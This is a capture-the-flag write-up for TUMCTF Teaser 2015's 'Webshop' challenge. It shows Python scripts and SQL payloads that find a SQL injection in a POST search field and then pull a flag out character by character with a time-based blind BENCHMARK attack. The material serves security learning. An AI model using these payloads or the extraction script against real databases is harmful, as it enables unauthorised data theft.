TUMCTF Teaser 2015: Webshop

This challenge required us to find a flag in a sql table using a time-based blind sql injection over a POST parameter. This writeup will be a little sparse because the server was taken offline before I could do this writeup, but I’ll provide server-side concept code where I can as well as my hastily written and hacked-together scripts.

Here was the challenge description:

Well, I found this shop and their offers are quite awesome, but something here smells… fishy.

1.ctf.link:1124

Finding the Injection

The site was a basic free website template. search.php was the only php script that I saw being called anywhere. Fuzzing the search box didn’t prove fruitful, however the source was something along the lines of <form action="search.php" method="post" class="search"> (Again, I no longer have the page source).

So we can try sending an injection over the POST parameter. Doing this in python:

import urllib2, urllib

parameter = urllib.urlencode({'search': "'"})
req = urllib2.Request("http://1.ctf.link:1124/search.php", parameter)
print urllib2.urlopen(req).read()

Running it spat back the page but this time with a lovely MySQL error included.

Extracting the Database Information

Now that I could inject into the search parameter I tweaked my script for future injections and starting getting to work extracting database information

import urllib2, urllib

def inject(sql):
	parameter = urllib.urlencode({'search': sql})
	req = urllib2.Request("http://1.ctf.link:1124/search.php", parameter)
	return urllib2.urlopen(req).read()

injection = ''
while injection != 'quit':
	injection = raw_input()
	print inject(injection)

We can imagine that the server is doing something along the lines of:

mysql_query("SELECT * FROM articles WHERE `text` LIKE '%".$_POST["search"]."%'") or die(mysql_error());

In order to make our statement valid we will need to end the previous statement ' and comment out the rest of our line -- . An order-by clause gives the number of colums: ' order by 3-- . I extracted some information about table and column names using FROM ... style statements and their corresponding error output. Trying to get output from any of the columns (' union select 1,2,3-- , MySQL allows implicit numeric conversion) was a dead end because the results of our search aren’t displayed on the page. This throws a wrench into the equation by making us work blind.

Even if we can’t see the output of our statement, we can use if-style commands coupled with a heavy operation to get information from the database. This is called a time-based sql injection.

Testing this out:

' UNION SELECT IF(SUBSTRING(flag,1,1) = CHAR(104)+"),BENCHMARK(9900000,ENCODE('MSG','by 5 seconds')),null),2,3 FROM flag-- -

made the database hang a short while so the first character of our flag should be h. This makes sense with our flag format hxp{…}. All that’s left is to automate this and extract our flag.

Extracting the Flag

import urllib2, urllib, time

def respTime(sql):
	start = time.time()
	parameter = urllib.urlencode({'search': sql})
	req = urllib2.Request("http://1.ctf.link:1124/search.php", parameter)
	urllib2.urlopen(req).read()
	end = time.time()
	return end - start

alphabet, flag = "abcdefghijklmnopqrstuvwxyz_{}", ""

for i in range(30):
	for letter in alphabet:
		injection = "' UNION SELECT IF(SUBSTRING(flag,"+str(len(flag)+1)+",1) = CHAR("+str(ord(letter))+"),BENCHMARK(9900000,ENCODE('MSG','by 5 seconds')),null),2,3 FROM flag-- "
		if respTime(injection) > 3:
			flag += letter
			print flag

Running this slowly extracts our flag character by character:

hxp{this_is_just_a_placeholder}